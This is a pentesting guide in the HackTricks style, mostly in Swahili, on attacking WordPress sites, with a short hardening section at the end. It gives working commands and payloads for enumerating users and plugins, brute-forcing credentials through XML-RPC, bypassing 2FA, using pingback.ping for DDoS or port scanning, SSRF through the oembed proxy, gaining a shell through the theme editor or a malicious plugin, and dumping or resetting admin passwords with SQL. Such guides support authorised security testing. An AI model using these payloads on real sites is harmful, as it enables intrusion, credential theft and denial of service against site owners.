Wordpress

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Basic Information

Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Files za mandhari zinaweza kupatikana katika /wp-content/themes/, hivyo ikiwa unabadilisha baadhi ya php ya mandhari kupata RCE huenda utatumia njia hiyo. Kwa mfano: Kutumia mandhari twentytwelve unaweza kufikia faili ya 404.php katika: /wp-content/themes/twentytwelve/404.php URL nyingine muhimu inaweza kuwa: /wp-content/themes/default/404.php

Katika wp-config.php unaweza kupata nenosiri la mzizi la database.

Njia za kuingia za kawaida za kuangalia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php

  • license.txt ina taarifa muhimu kama toleo la WordPress lililosakinishwa.

  • wp-activate.php inatumika kwa mchakato wa uanzishaji wa barua pepe wakati wa kuanzisha tovuti mpya ya WordPress.

  • Folda za kuingia (zinaweza kubadilishwa jina ili kuficha):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php ni faili inayowakilisha kipengele cha WordPress kinachowezesha data kuhamasishwa kwa HTTP ikifanya kama njia ya usafirishaji na XML kama njia ya usimbuaji. Aina hii ya mawasiliano imebadilishwa na REST API ya WordPress.

  • Folda ya wp-content ndiyo directory kuu ambapo plugins na mandhari zinahifadhiwa.

  • wp-content/uploads/ Ni directory ambapo faili zozote zilizopakiwa kwenye jukwaa zinahifadhiwa.

  • wp-includes/ Hii ni directory ambapo faili za msingi zinahifadhiwa, kama vyeti, fonti, faili za JavaScript, na vidude.

  • wp-sitemap.xml Katika toleo la WordPress 5.5 na zaidi, WordPress inazalisha faili ya ramani ya XML yenye machapisho yote ya umma na aina za machapisho zinazoweza kuulizwa kwa umma na taxonomies.

Post exploitation

  • Faili ya wp-config.php ina taarifa zinazohitajika na WordPress kuungana na database kama jina la database, mwenyeji wa database, jina la mtumiaji na nenosiri, funguo za uthibitishaji na chumvi, na kiambatisho cha meza ya database. Faili hii ya usanidi pia inaweza kutumika kuanzisha hali ya DEBUG, ambayo inaweza kuwa na manufaa katika kutatua matatizo.

Users Permissions

  • Msimamizi

  • Mhariri: Chapisha na simamia machapisho yake na ya wengine

  • Mwandishi: Chapisha na simamia machapisho yake mwenyewe

  • Mchangiaji: Andika na simamia machapisho yake lakini hawezi kuyachapisha

  • Mwanachama: Angalia machapisho na hariri wasifu wao

Passive Enumeration

Get WordPress version

Angalia ikiwa unaweza kupata faili /license.txt au /readme.html

Ndani ya kanuni ya chanzo ya ukurasa (mfano kutoka https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Failia za kiungo za CSS

  • Failia za JavaScript

Pata Plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Pata Mandhari

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Toa toleo kwa ujumla

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Tumia Trickest kujenga na kujiendesha kazi kwa urahisi kwa kutumia zana za jamii zilizoendelea zaidi duniani. Pata Ufikiaji Leo:

Uainishaji wa Kazi

Plugins na Mandhari

Huenda usiweze kupata Plugins na Mandhari zote zinazowezekana. Ili kugundua zote, utahitaji kufanya Brute Force kwa orodha ya Plugins na Mandhari (tunatumai kwetu kuna zana za kiotomatiki zinazoshikilia orodha hizi).

Watumiaji

ID Brute

Unapata watumiaji halali kutoka kwa tovuti ya WordPress kwa kufanya Brute Force kwa IDs za watumiaji:

curl -s -I -X GET http://blog.example.com/?author=1

Ikiwa majibu ni 200 au 30X, hiyo inamaanisha kwamba id ni halali. Ikiwa jibu ni 400, basi id ni batili.

wp-json

Unaweza pia kujaribu kupata habari kuhusu watumiaji kwa kuuliza:

curl http://blog.example.com/wp-json/wp/v2/users

Mwingine /wp-json/ kiunganishi ambacho kinaweza kufichua habari kuhusu watumiaji ni:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. Taarifa pekee kuhusu watumiaji ambao wana kipengele hiki kimewezeshwa itatolewa.

Also note that /wp-json/wp/v2/pages could leak IP addresses.

Login username enumeration

When login in /wp-login.php the message is different is the indicated username exists or not.

XML-RPC

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process using this for example).

To see if it is active try to access to /xmlrpc.php and send this request:

Check

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Kuvunja Akawasilishi

wp.getUserBlogs, wp.getCategories au metaWeblog.getUsersBlogs ni baadhi ya mbinu zinazoweza kutumika kuvunja akawasilishi. Ikiwa unaweza kupata yoyote kati yao unaweza kutuma kitu kama:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Ujumbe "Jina la mtumiaji au nenosiri si sahihi" ndani ya jibu la msimbo 200 unapaswa kuonekana ikiwa akreditivu si sahihi.

Kwa kutumia akreditivu sahihi unaweza kupakia faili. Katika jibu, njia itaonekana (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Pia kuna njia ya haraka ya kujaribu nguvu credentials kwa kutumia system.multicall kwani unaweza kujaribu credentials kadhaa kwenye ombi moja:

Kupita 2FA

Njia hii inakusudiwa kwa programu na sio kwa wanadamu, na ni ya zamani, kwa hivyo haiungi mkono 2FA. Hivyo, ikiwa una creds halali lakini mlango mkuu umewekwa na 2FA, unaweza kuwa na uwezo wa kutumia xmlrpc.php kuingia na creds hizo ukipita 2FA. Kumbuka kwamba huwezi kufanya vitendo vyote unavyoweza kufanya kupitia console, lakini huenda bado ukawa na uwezo wa kufikia RCE kama Ippsec anavyoelezea katika https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS au skanning ya port

Ikiwa unaweza kupata njia pingback.ping ndani ya orodha unaweza kufanya Wordpress itume ombi lolote kwa mwenyeji/port yoyote. Hii inaweza kutumika kuomba maelfu ya tovuti za Wordpress kuingia kwenye mahali moja (hivyo DDoS inasababishwa katika mahali hapo) au unaweza kuitumia kufanya Wordpress i scan baadhi ya mtandao wa ndani (unaweza kuashiria port yoyote).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ikiwa unapata faultCode yenye thamani kubwa kuliko 0 (17), inamaanisha kwamba bandari iko wazi.

Angalia matumizi ya system.multicall katika sehemu iliyopita kujifunza jinsi ya kutumia mbinu hii kusababisha DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Hii faili kwa kawaida ipo chini ya mzizi wa tovuti ya Wordpress: /wp-cron.php Wakati faili hii inapo fikiwa, query ya MySQL "nzito" inafanywa, hivyo inaweza kutumika na washambuliaji ku leta DoS. Pia, kwa kawaida, wp-cron.php inaitwa kwenye kila upakiaji wa ukurasa (wakati wowote mteja anapohitaji ukurasa wowote wa Wordpress), ambayo kwenye tovuti zenye trafiki kubwa inaweza kusababisha matatizo (DoS).

Inapendekezwa kuzima Wp-Cron na kuunda cronjob halisi ndani ya mwenyeji inayofanya vitendo vinavyohitajika kwa muda wa kawaida (bila kusababisha matatizo).

/wp-json/oembed/1.0/proxy - SSRF

Jaribu kufikia https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net na tovuti ya Worpress inaweza kufanya ombi kwako.

Hii ndiyo jibu wakati haifanyi kazi:

SSRF

Hii zana inakagua ikiwa methodName: pingback.ping na kwa njia /wp-json/oembed/1.0/proxy na ikiwa ipo, inajaribu kuzi exploit.

Vifaa vya Moja kwa Moja

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Tumia Trickest kujenga na kujiendesha kwa urahisi kazi zinazotolewa na zana za jamii za kisasa zaidi duniani. Pata Ufikiaji Leo:

Pata ufikiaji kwa kubadilisha kidogo

Zaidi ya shambulio halisi, hii ni udadisi. Kwenye CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man unaweza kubadilisha bit 1 kutoka faili yoyote ya wordpress. Hivyo unaweza kubadilisha nafasi 5389 ya faili /var/www/html/wp-includes/user.php ili NOP operesheni ya NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kubadilisha php kutoka kwa mandhari iliyotumika (nywila za admin zinahitajika)

Muonekano → Mhariri wa Mandhari → Kiolezo cha 404 (kushoto)

Badilisha maudhui kuwa php shell:

Tafuta mtandaoni jinsi ya kufikia ukurasa huo ulio sasishwa. Katika kesi hii unapaswa kufikia hapa: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

You can use:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

Inaweza kuwa inawezekana kupakia faili za .php kama plugin. Unda backdoor yako ya php kwa kutumia kwa mfano:

Kisha ongeza plugin mpya:

Pakia plugin na bonyeza Install Now:

Bonyeza Procced:

Labda hii haitafanya chochote kwa wazi, lakini ukitembelea Media, utaona shell yako imepakuliwa:

Fikia hiyo na utaona URL ya kutekeleza reverse shell:

Uploading and activating malicious plugin

Njia hii inahusisha ufungaji wa plugin mbaya inayojulikana kuwa na udhaifu na inaweza kutumika kupata web shell. Mchakato huu unafanywa kupitia dashibodi ya WordPress kama ifuatavyo:

  1. Plugin Acquisition: Plugin inapatikana kutoka chanzo kama Exploit DB kama hapa.

  2. Plugin Installation:

  • Tembelea dashibodi ya WordPress, kisha nenda kwa Dashboard > Plugins > Upload Plugin.

  • Pakia faili ya zip ya plugin iliyopakuliwa.

  1. Plugin Activation: Mara plugin inapofanikiwa kufungwa, inapaswa kuamshwa kupitia dashibodi.

  2. Exploitation:

  • Ikiwa plugin "reflex-gallery" imewekwa na kuamshwa, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu.

  • Mfumo wa Metasploit unatoa exploit kwa udhaifu huu. Kwa kupakia moduli inayofaa na kutekeleza amri maalum, kikao cha meterpreter kinaweza kuanzishwa, kikitoa ufikiaji usioidhinishwa kwenye tovuti.

  • Inabainishwa kuwa hii ni moja tu ya njia nyingi za kutumia udhaifu kwenye tovuti ya WordPress.

Maudhui yanajumuisha msaada wa kuona unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uhamasishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile pentesting kwa ruhusa wazi.

Kwa hatua za kina zaidi angalia: https://www.hackingarticles.in/wordpress-reverse-shell/**

Post Exploitation

Extract usernames and passwords:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Badilisha nenosiri la admin:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Ulinzi wa WordPress

Sasisho za Kawaida

Hakikisha WordPress, plugins, na mandhari ziko katika hali ya kisasa. Pia thibitisha kwamba sasisho za kiotomatiki zimewezeshwa katika wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

pia, sakinisha tu plugins na mandhari za WordPress zinazoweza kuaminika.

Plugins za Usalama

Mapendekezo Mengine

  • Ondoa mtumiaji wa admin wa kawaida

  • Tumia nywila zenye nguvu na 2FA

  • Kila wakati kagua ruhusa za watumiaji

  • Punguza majaribio ya kuingia ili kuzuia mashambulizi ya Brute Force

  • Badilisha jina la faili wp-admin.php na ruhusu ufikiaji tu ndani au kutoka anwani fulani za IP.

Tumia Trickest kujenga na kujiendesha kwa urahisi kazi zinazotumiwa na zana za jamii za kisasa zaidi duniani. Pata Ufikiaji Leo:

Support HackTricks

Last updated